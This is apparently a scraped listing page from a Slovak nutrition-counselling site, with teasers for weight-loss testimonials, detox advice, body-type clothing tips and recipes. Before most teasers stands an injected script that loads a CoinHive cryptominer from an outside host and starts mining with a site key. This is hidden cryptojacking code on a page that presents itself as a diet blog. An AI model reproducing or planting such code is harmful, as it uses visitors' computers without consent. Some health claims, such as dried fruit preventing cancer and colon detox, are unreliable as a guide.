<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>vyzivove_poradenstvo_Poprad

Výživové poradenstvo mi umožňovalo chudnúť aj v zahraničí.

Schudla som aj napriek tomu, že sme pracovali na diaľku. Aktivity K – Vital som sledovala najskôr na sociálnych sieťach – hneď pri prvej príležitosti a návštěvě Slovenska,som si dohodla osobnú konzultáciu. Rozhodla som sa nechať sa viesť výživovým poradcom a dala si vypracovať návod a osobný jedálny plán pod vedením Karin Kováčovej. Pracujem v zahraničí a…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>zeleny jacmen a chlorella, zdrava vyziva

Zelený jačmeň a chlorella – recept na živú polievku!

Zelený jačmeň a chlorella – rýchly zdravý recept na polievku Tento recept si vyžaduje, aby kvalita oboch produktov bola vysoká a zaradená do živej stravy! Je to unikátne zloženie na posilnenie zdravia, vyriešenie si množstva zdravotných problémov. Je to zároveň recept, ktorý sa môže pýšiť názvom: vysokovýživná polievka na chudnutie Potrebujeme:  1 ks šalátovej uhorky,…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>demkova

Pani Demková: schudla som -30kg

Po úprave jedálnička som schudla 30 kg! p. Demková: Celý život som bojovala s nadmernou hmotnosťou. Raz som schudla, raz pribrala. Oveľa ťažšie to bolo, keď sa pridružili zdravotné problémy. Mala som doslova pocit, že priberám už aj pri pohľade na pohár vody. Stravovala som sa striedmo, nebola som typ, ktorý by inklinoval k jedlu a…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>zdrava strava

Ako detoxikovať organizmus? Očista hrubého čreva,pečne a obličiek.

O tom ako a prečo detoxikovať sa to ho napísalo naozaj dosť! Tak či tak – najväčší úspech stojí na nás na našom rozhodnutí začať! Pokiaľ sa rozhodneme pre striedme stravovanie a primárne budeme konzumovať potraviny určené pre náš metabolizmus – zabezpečíme si tak výživu a očisťovanie tela v pravidelných intervaloch a nemalo by hroziť…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>hruska typ postavy

Typy postáv – hruška.

Zamerajte sa na prsia!!! Doprajte s kvalitnú podprsenku, ktorá zvýrazní vaše prsia, vytvorí objem – opticky tak pridáte plus svojim krivkám. Tento typ postavy krásne zvýraznia výstrihy v tvare V a práve spomínané prsia. Bundy, saká, topy by mali končiť tesne nad alebo v línií bokov. Nohavice môžu plnšie línie kpiírovať a v dolnej časti…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>typy-postav

Typ postavy jablko.

Ako sa obliekať, ak ste typ postavy jablko. Možno je nevýhodou stratený pás, ale príroda v tomto prípade nadelí nohám – práve na tie by sme sa mali zamerať ako na niečo pozitívne. Vrchnú časť tela opticky môžeme zoštíhliť tým, že do šatníka doplníme topy, tielká, blúzky pod prsiami sa uvoľňujúce. Prsia sa zvýraznia a…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>sušene ovocie

Sušené plody

Sušené plody Sušené plody záhradky sú dobrá prevencia proti rakovine - napríklad sušené datle, figy, hrozienka alebo slivky sú tiež účinné v boji s ochorením srdca, obezitou či cukrovkou vysoká koncentrácia ovocných cukrov  je aj výhoda aj nevýhoda oproti čerstvým plodom. Ak sa snažíme schudnúť, tak to rozhodne neprispeje k schudnutiu. Ale ak budeme sušené ovocie konzumovať rozumnej miere, tak výsledky…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>avokado humus

Fit – Recept – avokádový hummus

Fit – Recept – avokádový hummus Čo tak vyskúšať niečo nové, sviežeho a zdravého? Avokádový hummus má okrem iného veľký obsah železa, vitamínu C, vlákniny, kvalitných bielkovín a tukov. Je ideálny ako dip k najrôznejším pokrmom i ako pohostenie na párty. Kto vyskúša, neoľutuje. ingrediencie 1 plechovka cíceru 2 stredne veľká zrelé avokáda 3 lyžice…

Details

Cuketové chipsy

Cuketové chipsy Porcia zeleniny – cuketa, šalotka Porcia bielkoviny napr. mäso, syry, ryby, hydina, strukoviny, vajíčka, huby… Prírodná soľ, čierne korenie mleté, strúčik cesnaku Cuketu nakrájať na 3-5mm plátky, osoliť a okoreniť. Šalotku a cesnak nakrájať (nemusí byť jemná). Olej (napr. kokosový, olivový, repkový, ghee) rozohriať na panvici, vhodná je vysoká teplota. Šalotku s cesnakom 2-3 min rýchlo opražiť…

Details

Losos na zeleninovom pyré

Losos s bylinkami na zeleninovom pyré Ingrediencie: 1/2 bio citrón, porcia lososa, soľ, čierne korenie, 2 PL nasekaných byliniek (petržlen, majorán, tymián) 75ml zeleninového vývaru, porcia zeleniny (petržlen, topinambur) Postup: Citrón umyť. Nastrúhať šupku tak aby sa nepoškodil samotný citrón. Šťavu vytlačiť. Rybu umyť v strudenej vode, osušiť v papierovej utierke, osoliť a okoreniť a…

Details